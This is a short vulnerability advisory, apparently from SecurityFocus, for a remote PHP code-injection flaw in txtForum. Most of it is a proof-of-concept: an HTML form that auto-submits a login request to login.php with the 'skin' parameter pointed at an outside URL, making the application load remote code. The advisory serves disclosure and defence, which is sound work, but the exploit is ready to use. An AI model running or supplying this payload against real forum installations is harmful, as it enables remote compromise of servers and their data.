source: https://www.securityfocus.com/bid/17061/info

txtForum is prone to a remote PHP code-injection vulnerability. 

An attacker can exploit this issue to facilitate a compromise of the application and the underlying system; other attacks are also possible.

<form action='http://www.example.com/txtforum104/login.php' method="post">
<input type="text" name="login_username" value="admin"/>
<input type="text" name="login_password" value="xyz"/>
<input type="text" name="skin" value="http://www.example.com"/>
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>